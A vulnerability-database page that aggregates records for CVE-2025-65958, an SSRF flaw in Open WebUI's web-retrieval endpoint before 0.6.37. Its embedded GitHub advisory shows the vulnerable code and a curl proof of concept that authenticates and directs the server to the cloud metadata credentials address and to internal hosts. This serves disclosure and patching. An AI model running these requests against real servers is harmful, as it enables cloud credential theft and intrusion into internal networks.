Vulnerability-Lookup

CVE-2025-65958 (GCVE-0-2025-65958)

Vulnerability from cvelistv5 – Published: 2025-12-04 19:55 – Updated: 2025-12-08 20:54

Title

Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required. This vulnerability is fixed in 0.6.37.

Severity

8.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-12-08 20:54 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/open-webui/open-webui/security…	x_refsource_CONFIRM
https://github.com/open-webui/open-webui/commit/0…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
open-webui	open-webui	Affected: < 0.6.37

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-65958",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-08T20:54:23.029458Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-08T20:54:26.632Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.6.37"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required. This vulnerability is fixed in 0.6.37."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-04T19:55:13.228Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
        },
        {
          "name": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774"
        }
      ],
      "source": {
        "advisory": "GHSA-c6xv-rcvw-v685",
        "discovery": "UNKNOWN"
      },
      "title": "Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-65958",
    "datePublished": "2025-12-04T19:55:13.228Z",
    "dateReserved": "2025-11-18T16:14:56.693Z",
    "dateUpdated": "2025-12-08T20:54:26.632Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2025-65958",
      "date": "2026-10-19",
      "epss": "0.04431",
      "percentile": "0.91271"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "open-webui",
                "vendor": "open-webui",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.6.37"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "06C81784-9018-4FE9-89EB-18263EA0B16A",
                    "versionEndExcluding": "0.6.37",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required. This vulnerability is fixed in 0.6.37."
          },
          {
            "lang": "es",
            "value": "Open WebUI es una plataforma de inteligencia artificial autoalojada dise\u00f1ada para operar completamente sin conexi\u00f3n. Versiones anteriores a 0.6.37, una vulnerabilidad de Server-Side Request Forgery (SSRF) en Open WebUI permite a cualquier usuario autenticado forzar al servidor a realizar peticiones HTTP a URLs arbitrarias. Esto puede ser explotado para acceder a endpoints de metadatos en la nube (AWS/GCP/Azure), escanear redes internas, acceder a servicios internos detr\u00e1s de firewalls y exfiltrar informaci\u00f3n sensible. No se requieren permisos especiales m\u00e1s all\u00e1 de la autenticaci\u00f3n b\u00e1sica. Esta vulnerabilidad est\u00e1 corregida en 0.6.37."
          }
        ],
        "id": "CVE-2025-65958",
        "lastModified": "2026-10-18T15:10:00.097",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.1,
              "impactScore": 4.7,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 4.2,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2025-65958",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-08T20:54:23.029458Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2025-12-04T20:16:19.973",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-918"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2025-65958",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2025-12-08T20:54:23.029458Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2025-12-08T20:54:00.914Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "open-webui",
              "vendor": "open-webui",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.6.37"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required. This vulnerability is fixed in 0.6.37."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-918",
                  "description": "CWE-918: Server-Side Request Forgery (SSRF)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2025-12-04T19:55:13.228Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
            },
            {
              "name": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774"
            }
          ],
          "source": {
            "advisory": "GHSA-c6xv-rcvw-v685",
            "discovery": "UNKNOWN"
          },
          "title": "Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2025-65958",
        "datePublished": "2025-12-04T19:55:13.228Z",
        "dateReserved": "2025-11-18T16:14:56.693Z",
        "dateUpdated": "2025-12-08T20:54:26.632Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

EUVD-2026-262849

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 07:01

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T07:01:27.776165+00:00",
  "id": "EUVD-2026-262849"
}

FKIE_CVE-2025-65958

Vulnerability from fkie_nvd - Published: 2025-12-04 20:16 - Updated: 2026-10-18 15:10

Severity

8.5 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
7.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774	Patch
security-advisories@github.com	https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	openwebui	open_webui	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.6.37"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "06C81784-9018-4FE9-89EB-18263EA0B16A",
              "versionEndExcluding": "0.6.37",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required. This vulnerability is fixed in 0.6.37."
    },
    {
      "lang": "es",
      "value": "Open WebUI es una plataforma de inteligencia artificial autoalojada dise\u00f1ada para operar completamente sin conexi\u00f3n. Versiones anteriores a 0.6.37, una vulnerabilidad de Server-Side Request Forgery (SSRF) en Open WebUI permite a cualquier usuario autenticado forzar al servidor a realizar peticiones HTTP a URLs arbitrarias. Esto puede ser explotado para acceder a endpoints de metadatos en la nube (AWS/GCP/Azure), escanear redes internas, acceder a servicios internos detr\u00e1s de firewalls y exfiltrar informaci\u00f3n sensible. No se requieren permisos especiales m\u00e1s all\u00e1 de la autenticaci\u00f3n b\u00e1sica. Esta vulnerabilidad est\u00e1 corregida en 0.6.37."
    }
  ],
  "id": "CVE-2025-65958",
  "lastModified": "2026-10-18T15:10:00.097",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-65958",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-12-08T20:54:23.029458Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-12-04T20:16:19.973",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-C6XV-RCVW-V685

Vulnerability from github – Published: 2025-12-04 22:03 – Updated: 2025-12-04 22:03

Summary

Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web

Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.

Details

The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.

Vulnerable code: @router.post("/process/web") def process_web( request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user) ): try: collection_name = form_data.collection_name if not collection_name: collection_name = calculate_sha256_string(form_data.url)[:63]

      content, docs = get_content_from_url(request, form_data.url)  # ← SSRF vulnerability

The form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

Call chain: 1. retrieval.py:1767 → get_content_from_url(request, form_data.url) 2. retrieval/utils.py:77 → get_loader(request, url) 3. retrieval/utils.py:62 → get_web_loader(url, ...) or YoutubeLoader(url, ...) 4. Both loaders fetch the user-supplied URL without validation

No validation is performed for: - Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - Localhost addresses (127.0.0.0/8) - Cloud metadata endpoints (169.254.169.254, fd00:ec2::254) - Protocol restrictions (file://, gopher://, etc.) - Domain allowlisting

PoC

Prerequisites: Valid user account (any role)

Step 1 - Authenticate: TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin" \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 2 - Basic SSRF Test (external URL): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://example.com"}'

Result: Server fetches example.com and returns its content, proving the vulnerability.

{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }

Step 3 - Advanced Attack (AWS metadata): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples: - Internal network: {"url":"http://192.168.1.1"} - Localhost services: {"url":"http://localhost:5432"} - Internal APIs: {"url":"http://internal-api.local"}

Impact

Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

Cloud Environment Compromise
- Steal AWS/GCP/Azure credentials via metadata endpoints
- Result: Full cloud account takeover
Internal Network Access
- Bypass firewalls to access internal services (databases, admin panels, APIs)
- Port scan and map internal infrastructure
- Result: Complete network visibility
Data Exfiltration
- Read internal documentation, configurations, secrets
- Access Kubernetes API servers
- Result: Credential theft, API key exposure

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.36"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-04T22:03:19Z",
    "nvd_published_at": "2025-12-04T20:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.\n\n\n### Details\nThe vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.\n\n  Vulnerable code:\n  @router.post(\"/process/web\")\n  def process_web(\n      request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user)\n  ):\n      try:\n          collection_name = form_data.collection_name\n          if not collection_name:\n              collection_name = calculate_sha256_string(form_data.url)[:63]\n\n          content, docs = get_content_from_url(request, form_data.url)  # \u2190 SSRF vulnerability\n\nThe form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:\n\n  Call chain:\n  1. retrieval.py:1767 \u2192 get_content_from_url(request, form_data.url)\n  2. retrieval/utils.py:77 \u2192 get_loader(request, url)\n  3. retrieval/utils.py:62 \u2192 get_web_loader(url, ...) or YoutubeLoader(url, ...)\n  4. Both loaders fetch the user-supplied URL without validation\n\n  No validation is performed for:\n  - Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n  - Localhost addresses (127.0.0.0/8)\n  - Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)\n  - Protocol restrictions (file://, gopher://, etc.)\n  - Domain allowlisting\n\n\n### PoC\nPrerequisites: Valid user account (any role)\n\n  Step 1 - Authenticate:\n  TOKEN=$(curl -s \"http://localhost:3000/api/v1/auths/signin\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"email\":\"user@example.com\",\"password\":\"password\"}\u0027 \\\n    | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\n  Step 2 - Basic SSRF Test (external URL):\n  curl -s \"http://localhost:3000/api/v1/retrieval/process/web\" \\\n    -H \"Authorization: Bearer $TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"url\":\"http://example.com\"}\u0027\n\n  Result: Server fetches example.com and returns its content, proving the vulnerability.\n\n  {\n    \"status\": true,\n    \"file\": {\n      \"data\": {\n        \"content\": \"Example Domain This domain is for use in documentation...\"\n      }\n    }\n  }\n\n  Step 3 - Advanced Attack (AWS metadata):\n  curl -s \"http://localhost:3000/api/v1/retrieval/process/web\" \\\n    -H \"Authorization: Bearer $TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}\u0027\n\n  Result: Server exposes cloud credentials if running on AWS/GCP/Azure.\n\n  Other attack examples:\n  - Internal network: {\"url\":\"http://192.168.1.1\"}\n  - Localhost services: {\"url\":\"http://localhost:5432\"}\n  - Internal APIs: {\"url\":\"http://internal-api.local\"}\n\n\n### Impact\nWho is affected: All authenticated users (no special permissions required)\n\n  Attack capabilities:\n\n  1. Cloud Environment Compromise\n    - Steal AWS/GCP/Azure credentials via metadata endpoints\n    - Result: Full cloud account takeover\n  2. Internal Network Access\n    - Bypass firewalls to access internal services (databases, admin panels, APIs)\n    - Port scan and map internal infrastructure\n    - Result: Complete network visibility\n  3. Data Exfiltration\n    - Read internal documentation, configurations, secrets\n    - Access Kubernetes API servers\n    - Result: Credential theft, API key exposure",
  "id": "GHSA-c6xv-rcvw-v685",
  "modified": "2025-12-04T22:03:19Z",
  "published": "2025-12-04T22:03:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web"
}

PYSEC-2026-1726

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:24

Details

Summary

Details

The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.

      content, docs = get_content_from_url(request, form_data.url)  # ← SSRF vulnerability

The form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

PoC

Prerequisites: Valid user account (any role)

Result: Server fetches example.com and returns its content, proving the vulnerability.

{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples: - Internal network: {"url":"http://192.168.1.1"} - Localhost services: {"url":"http://localhost:5432"} - Internal APIs: {"url":"http://internal-api.local"}

Impact

Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

Cloud Environment Compromise
- Steal AWS/GCP/Azure credentials via metadata endpoints
- Result: Full cloud account takeover
Internal Network Access
- Bypass firewalls to access internal services (databases, admin panels, APIs)
- Port scan and map internal infrastructure
- Result: Complete network visibility
Data Exfiltration
- Read internal documentation, configurations, secrets
- Access Kubernetes API servers
- Result: Credential theft, API key exposure

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Impacted products

Name	purl
open-webui	pkg:pypi/open-webui

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui",
        "purl": "pkg:pypi/open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.124",
        "0.1.125",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.3.0",
        "0.3.1",
        "0.3.10",
        "0.3.12",
        "0.3.13",
        "0.3.14",
        "0.3.15",
        "0.3.16",
        "0.3.17",
        "0.3.17.dev2",
        "0.3.17.dev3",
        "0.3.17.dev4",
        "0.3.17.dev5",
        "0.3.18",
        "0.3.19",
        "0.3.2",
        "0.3.20",
        "0.3.21",
        "0.3.22",
        "0.3.23",
        "0.3.24",
        "0.3.25",
        "0.3.26",
        "0.3.27",
        "0.3.27.dev1",
        "0.3.27.dev2",
        "0.3.27.dev3",
        "0.3.28",
        "0.3.29",
        "0.3.3",
        "0.3.30",
        "0.3.30.dev1",
        "0.3.30.dev2",
        "0.3.31",
        "0.3.31.dev1",
        "0.3.32",
        "0.3.33",
        "0.3.33.dev1",
        "0.3.34",
        "0.3.35",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.0.dev1",
        "0.4.0.dev2",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.6.dev1",
